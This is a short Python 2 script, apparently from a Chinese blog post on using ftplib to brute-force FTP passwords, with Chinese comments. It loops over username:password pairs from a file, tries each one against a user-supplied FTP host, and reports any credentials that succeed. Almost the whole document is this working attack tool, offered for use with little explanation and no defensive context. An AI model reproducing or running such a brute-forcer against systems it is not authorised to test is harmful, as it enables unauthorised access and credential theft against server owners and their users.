#!/usr/bin/python
#coding=utf-8
import ftplib
def bruteLogin(hostname, passwdFile):
pF=open(passwdFile,'r')
for line in pF.readlines():
username=line.split(':')[0]
password=line.split(':')[1].strip('\r').strip('\n')
print '[+] Trying: '+username+"/"+password
try:
#加载ftp模块
ftp=ftplib.FTP(hostname)
#连接的用户名,密码
ftp.login(username,password)
print '\n[*] '+str(hostname)+' FTP Login Succeeded: '+username+"/"+password
return (username,password)
except Exception,e:
pass
print '\n[-] Could not brute force FTP credentials.'
#没有找到,返回空值
return (None,None)
def main():
while True:
h=raw_input("[*] Please enter the hostname: ")
f=raw_input("[*] Please enter the filename: ")
bruteLogin(h, f)
#打印空行进行段落分隔
print
print
print
if __name__ == '__main__':
main()
使用Ftplib暴力破解FTP用户口令
最新推荐文章于 2024-08-19 14:19:32 发布